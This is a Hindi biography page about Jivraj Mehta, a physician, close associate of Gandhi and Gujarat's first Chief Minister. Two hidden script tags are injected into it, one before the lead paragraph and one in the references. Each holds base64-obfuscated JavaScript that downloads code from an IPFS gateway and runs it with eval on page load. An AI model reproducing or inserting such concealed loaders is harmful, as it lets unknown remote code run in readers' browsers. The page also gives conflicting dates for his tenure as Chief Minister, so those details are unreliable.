जीवराज मेहता

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जीवराज मेहता
जीवराज मेहता
पूरा नाम जीवराज नारायण मेहता
जन्म 29 अगस्त, 1887
जन्म भूमि बड़ौदा, गुजरात
मृत्यु 7 नवम्बर, 1978
पति/पत्नी हंसा मेहता
नागरिकता भारतीय
प्रसिद्धि राजनीतिज्ञ
पार्टी भारतीय राष्ट्रीय कांग्रेस
पद प्रथम मुख्यमंत्री, गुजरात
कार्य काल 1 मई, 1960 से 3 मार्च, 1962 तक

3 मार्च, 1962 से 19 सितंबर, 1963 तक

विद्यालय 'ग्रांट मेडिकल कॉलेज', मुम्बई
जेल यात्रा जीवराज मेहता ने 1930 के 'नमक सत्याग्रह' और 1942 के 'भारत छोड़ो आन्दोलन' में भाग लिया और जेल की सज़ा भोगी।
संबंधित लेख हंसा मेहता, गाँधीजी
विशेष गाँधीजी को जब भी चिकित्सा परामर्श की आवश्कता होती तो सदा डॉक्टर जीवराज मेहता को ही याद किया जाता था।
अन्य जानकारी छात्र जीवन में जीवराज मेहता बड़े प्रतिभाशाली थे। मुंबई के 'ग्रांट मेडिकल कॉलेज' की पढ़ाई में उन्हें आठ में से सात विषयों में छात्रवृत्ति और पुरस्कार मिले थे। आठवें विषय का आधा पुरस्कार भी उन्हीं के हिस्से में आया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>जीवराज नारायण मेहता (अंग्रेज़ी: Jivraj Narayan Mehta; जन्म- 29 अगस्त, 1887 ई., बड़ौदा, गुजरात; मृत्यु- 7 नवम्बर, 1978 ई.) भारत के प्रमुख चिकित्सक और देश सेवक थे। इन्हें गुजरात राज्य का प्रथम मुख्यमंत्री बनने का गौरव प्राप्त हुआ था। मेहता जी अपने विद्यार्थी जीवन से ही बहुत मेधावी और प्रतिभाशाली छात्र थे। इन्होंने अपने विद्यार्थी जीवन में ही 'इण्डियन एसोसिएशन' का गठन किया था। यहीं इनका सम्पर्क राष्ट्रपिता महात्मा गाँधी से हुआ और ये गाँधी जी के सहयोगी बन गये। गाँधी जी अपना हर चिकित्सीय परामर्श डॉस्टर जीवराज मेहता से ही लिया करते थे। गाँधी जी और मेहता जी का यह सम्बन्ध जीवन पर्यन्त बना रहा था।

जन्म तथा शिक्षा

प्रमुख चिकित्सकों और देश के अनन्य सेवकों में से एक जीवराज मेहता का जन्म बड़ौदा रियासत के अमरेली कस्बे में 29 अगस्त, 1887 ई. को एक ग़रीब परिवार में हुआ था। छात्रवृत्ति और ट्यूशन करके जीवराज ने अपनी शिक्षा जारी रखी थी। वे बड़े प्रतिभाशाली छात्र थे। मुंबई के 'ग्रांट मेडिकल कॉलेज' की पढ़ाई में उन्हें आठ में से सात विषयों में छात्रवृत्ति और पुरस्कार मिले थे। आठवें विषय का आधा पुरस्कार भी उन्हीं के हिस्से में आया।

विदेश गमन

'मुंबई मेडकल कॉलेज' का अध्ययन पूरा करने के बाद जीवराज कॉलेज और टाटा फ़ंड से छात्रवृत्ति लेकर आगे अध्ययन के लिए इंग्लैंड चले गए। वहाँ भी एम.डी. की परीक्षा में सर्वप्रथम रहे। कुछ अन्य परीक्षाएँ भी ससम्मान पास करने के बाद वे 1915 ई. में भारत आए और शीघ्र ही उनकी गणना मुंबई के चोटी के डॉक्टरों में होने लगी।

विवाह तथा व्यावसायिक जीवन

डॉक्टर जीवराज राष्ट्रीय भावनाओं के व्यक्ति थे। विद्यार्थी जीवन में उन्होंने लंदन में 'इंडियन एसोसिएशन' का गठन किया था। गांधी जी से भी उनका सम्पर्क वहीं से हो गया था, जो कि जीवन पर्यन्त बना रहा। 1924 में हंसा मेहता के साथ उनका अंतरजातीय विवाह हुआ। उसी वर्ष वे 'बड़ौदा अस्पताल' के मुख्य चिकित्सा अधिकारी बने। उसके बाद मुंबई के 'किंग एडवर्ड मेडिकल कॉलेज' के प्रधान के रूप में उन्होंने 17 वर्ष तक कार्य किया।

जेल यात्रा

डॉक्टर जीवराज मेहता ने 1930 ई. के 'नमक सत्याग्रह' में भाग लिया और गिरफ्तार कर लिये गए। 1942 के 'भारत छोड़ो आन्दोलन' में भी उन्होंने जेल की सज़ा भोगी।

विभिन्न पद

जीवराज मेहता ने 1930, 1943 और 1945 में 'इंडियन मेडिकल एसोसिएशन' की अध्यक्षता की। 1946 ई. में वे स्वास्थ्य सेवाओं के डाइरेक्टर जनरल बनाये गए। राज्यों के पुनर्गठन के समय वे बड़ौदा रियासत के दीवान बने थे। 1949 में जीवराज मेहता मुंबई राज्य के लोक निर्माण मंत्री और 1952 में वित्तमंत्री बने। 1960 में जब गुजरात नवगठित राज्य बना तो जीवराज मेहता को वहाँ का पहला मुख्यमंत्री बनाया गया। इस पद पर वह सितम्बर 1960 से अप्रैल 1963 तक रहे। बाद में वह 'यूनाइटेड किंगडम' में भारतीय उच्चायुक्त के रूप में 1963 से 1966 तक रहे। 1971 में वे लोकसभा के सदस्य भी चुने गए थे।

प्रेरक प्रसंग

डॉ. जीवराज मेहता गांधी जी के निजी चिकित्सक और सहयोगी थे। गांधी जी के विचारों का उन पर गहरा असर था। एक बार वह गांधी जी के साथ बड़ौदा से इलाहाबाद पहुंचे। गांधी जी के आने की सूचना पहले से थी, इसलिए स्टेशन पर कार्यकर्ताओं की भारी भीड़ जमा थी। गांधी जी के हाथ ख़ाली थे, मगर मेहता जी के हाथ में एक अटैची थी। ट्रेन से उतरते ही एक कार्यकर्ता आगे बढ़ कर मेहता जी के हाथ से अटैची लेने लगा। मेहता जी ने उसे मना कर दिया। उसी समय मेहता जी की नजर एक अधेड़ महिला पर पड़ी, जिसकी गोद में एक छोटा बच्चा था। वह दूसरे हाथ से एक बक्सा संभाले हुई थी। उसे चलने में बहुत कठिनाई हो रही थी।

मेहता जी भीड़ को धक्का देते हुए उस महिला के पास पहुंचे और बोले- "बहन, आप को बहुत दिक्कत हो रही है। यह बक्सा मुझे दे दो। मैं आपको स्टेशन के बाहर तक छोड़ देता हूँ।" वह महिला संकोच करने लगी। उसे असमंजस में देख कर मेहता जी ने कहा- "घबराओ नहीं। मैं कोई चोर-उचक्का नहीं हूँ। तुम्हारा सामान कहीं नहीं जाएगा।" महिला ने अपना बक्सा मेहता जी को पकड़ा दिया। तब तक दूसरे लोग भी वहाँ आ गए। एक कार्यकर्ता मेहता जी के हाथ से बक्सा लेने लगा तो वह बोले- "यह बहुत हल्का है। मुझे कोई परेशानी नहीं हो रही है। तुम लोग उसकी मदद करो, जिसको तुम्हारी मदद की ज़रूरत है। असहायों की सेवा करना ही हमारा कर्म और धर्म है।" सब मेहता जी के व्यवहार से बेहद प्रभावित हुए।[1]

निधन

गाँधी जी को जब भी चिकित्सा परामर्श की आवश्कता होती थी, तो सदा डॉक्टर जीवराज मेहता को ही याद किया जाता था। देश की अमूल्य सेवा करने वाले इस महान् व्यक्तित्व का 7 नवम्बर, 1978 ई. को निधन हुआ।


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टीका टिप्पणी और संदर्भ

भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 324 |

  1. कर्म और धर्म (हिन्दी)। । अभिगमन तिथि: 25 अगस्त, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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